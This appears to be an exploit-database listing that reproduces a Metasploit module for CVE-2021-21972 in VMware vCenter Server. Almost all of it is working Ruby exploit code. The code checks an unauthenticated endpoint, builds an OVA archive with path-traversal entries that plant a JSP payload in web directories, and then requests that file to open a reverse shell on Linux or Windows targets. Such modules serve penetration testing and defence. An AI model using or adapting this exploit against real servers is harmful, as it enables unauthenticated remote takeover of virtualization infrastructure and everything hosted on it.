VMware vCenter Server File Upload / Remote Code Execution

2021.03.08
Credit: mr_me
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote # "Shotgun" approach to writing JSP Rank = ManualRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE', 'Description' => %q{ This module exploits an unauthenticated OVA file upload and path traversal in VMware vCenter Server to write a JSP payload to a web-accessible directory. Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c. Note that later vulnerable versions of the Linux appliance aren't exploitable via the webshell technique. Furthermore, writing an SSH public key to /home/vsphere-ui/.ssh/authorized_keys works, but the user's non-existent password expires 90 days after install, rendering the technique nearly useless against production environments. You'll have the best luck targeting older versions of the Linux appliance. The Windows target should work ubiquitously. }, 'Author' => [ 'Mikhail Klyuchnikov', # Discovery 'wvu', # Analysis and exploit 'mr_me', # Co-conspirator 'Viss' # Co-conspirator ], 'References' => [ ['CVE', '2021-21972'], ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'], ['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'], ['URL', 'https://twitter.com/jas502n/status/1364810720261496843'], ['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'], ['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'], ['URL', 'https://kb.vmware.com/s/article/2143838'], ['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html'] ], 'DisclosureDate' => '2021-02-23', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['linux', 'win'], 'Arch' => ARCH_JAVA, 'Privileged' => false, # true on Windows 'Targets' => [ [ # TODO: /home/vsphere-ui/.ssh/authorized_keys 'VMware vCenter Server <= 6.7 Update 1b (Linux)', { 'Platform' => 'linux' } ], [ 'VMware vCenter Server <= 6.7 Update 3j (Windows)', { 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp', 'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint'] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) register_advanced_options([ # /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index> OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu ]) end def spray_and_pray_min datastore['SprayAndPrayMin'] end def spray_and_pray_max datastore['SprayAndPrayMax'] end def spray_and_pray_range (spray_and_pray_min..spray_and_pray_max).to_a end def check # Run auxiliary/scanner/vmware/esx_fingerprint super res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus') ) unless res return CheckCode::Unknown('Target did not respond to check.') end case res.code when 200 # {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"} expected_keys = [ 'States', 'Install Progress', 'Install Final Progress', 'Config Progress', 'Config Final Progress' ] if (expected_keys & res.get_json_document.keys) == expected_keys return CheckCode::Vulnerable('Unauthenticated endpoint access granted.') end CheckCode::Detected('Target did not respond with expected keys.') when 401 CheckCode::Safe('Unauthenticated endpoint access denied.') else CheckCode::Detected("Target responded with code #{res.code}.") end end def exploit upload_ova pop_thy_shell # ;) end def upload_ova print_status("Uploading OVA file: #{ova_filename}") multipart_form = Rex::MIME::Message.new multipart_form.add_part( generate_ova, 'application/x-tar', # OVA is tar 'binary', %(form-data; name="uploadFile"; filename="#{ova_filename}") ) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'), 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s ) unless res && res.code == 200 && res.body == 'SUCCESS' fail_with(Failure::NotVulnerable, 'Failed to upload OVA file') end register_files_for_cleanup(*jsp_paths) print_good('Successfully uploaded OVA file') end def pop_thy_shell jsp_uri = case target['Platform'] when 'linux' normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}") when 'win' normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}") end print_status("Requesting JSP payload: #{full_uri(jsp_uri)}") res = send_request_cgi( 'method' => 'GET', 'uri' => jsp_uri ) unless res && res.code == 200 fail_with(Failure::PayloadFailed, 'Failed to request JSP payload') end print_good('Successfully requested JSP payload') end def generate_ova ova_file = StringIO.new # HACK: Spray JSP in the OVA and pray we get a shell... Rex::Tar::Writer.new(ova_file) do |tar| jsp_paths.each do |path| # /tmp/unicorn_ova_dir/../../<path> tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) } end end ova_file.string end def jsp_paths case target['Platform'] when 'linux' @jsp_paths ||= spray_and_pray_range.shuffle.map do |idx| "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}" end when 'win' # Forward slashes work here ["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"] end end def ova_filename @ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova" end def jsp_filename @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp" end end


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